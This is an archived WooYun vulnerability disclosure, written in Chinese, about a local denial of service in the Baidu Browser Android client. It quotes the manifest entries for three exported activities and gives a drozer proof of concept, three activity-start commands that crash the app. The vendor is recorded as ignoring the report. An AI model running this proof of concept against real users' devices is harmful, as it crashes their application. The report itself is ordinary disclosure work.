乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-16: 细节已通知厂商并且等待厂商处理中 2015-06-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-08-15: 细节向核心白帽子及相关领域专家公开 2015-08-25: 细节向普通白帽子公开 2015-09-04: 细节向实习白帽子公开 2015-09-19: 细节向公众公开
本地拒绝服务
百度浏览器Android客户端Activity组件对外暴露,导致恶意程序直接发送intent启动该Activity,组件对intent处理不当产生异常,导致应用程序进程崩溃。
#### 客户端版本,官网下载的最新版v5.7.5.0#### AndroidManifest.xml查看配置导出的组件,如下组件存在问题,发送intent会导致客户端Crash
com.baidu.browser.qrcode.BdBarcodeActivitycom.baidu.browser.plugin.readers.entry.BdPDFReaderActivitycom.baidu.browser.plugin.readers.entry.BdUnzipActivity
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:exported="true" android:label="@string/common_app_name" android:name="com.baidu.browser.qrcode.BdBarcodeActivity" android:screenOrientation="portrait" android:taskAffinity="com.baidu.browser.bubble.search" android:theme="@android:style/Theme.NoTitleBar"> <intent-filter> <action android:name="com.baidu.browser.apps.INVOKES"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </activity> <activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize" android:icon="@drawable/logo_pdf" android:label="@string/common_app_reader" android:name="com.baidu.browser.plugin.readers.entry.BdPDFReaderActivity" android:theme="@android:style/Theme.NoTitleBar"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="file"/> <data android:mimeType="application/pdf"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="*" android:scheme="file"/> <data android:pathPattern=".*\\.cbz"/> <data android:pathPattern=".*\\.xps"/> <data android:pathPattern=".*\\.pdf"/> </intent-filter> </activity> <activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize" android:icon="@drawable/logo_unzip" android:label="@string/common_app_unzip" android:name="com.baidu.browser.plugin.readers.entry.BdUnzipActivity" android:theme="@android:style/Theme.NoTitleBar"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <data android:mimeType="application/zip"/> <data android:mimeType="application/x-rar-compressed"/> <data android:mimeType="application/rar"/> <data android:mimeType="application/x-gzip"/> <data android:mimeType="application/7z"/> <data android:mimeType="application/x-7z-compressed"/> <data android:mimeType="application/x-tar"/> <data android:mimeType="application/x-bzip2"/> <data android:mimeType="application/vnd.ms-cab-compressed"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <data android:host="*" android:scheme="file"/> <data android:pathPattern=".*\\.7z"/> <data android:pathPattern=".*\\.cab"/> <data android:pathPattern=".*\\.bz2"/> </intent-filter> </activity>
部分Crash日志
#### POC
dz> run app.activity.start --component com.baidu.browser.apps com.baidu.browser.qrcode.BdBarcodeActivitydz> run app.activity.start --component com.baidu.browser.apps com.baidu.browser.plugin.readers.entry.BdPDFReaderActivitydz> run app.activity.start --component com.baidu.browser.apps com.baidu.browser.plugin.readers.entry.BdUnzipActivity
组件应正确处理所有的intent
危害等级:无影响厂商忽略
忽略时间:2015-09-19 16:11
漏洞Rank:2 (WooYun评价)
暂无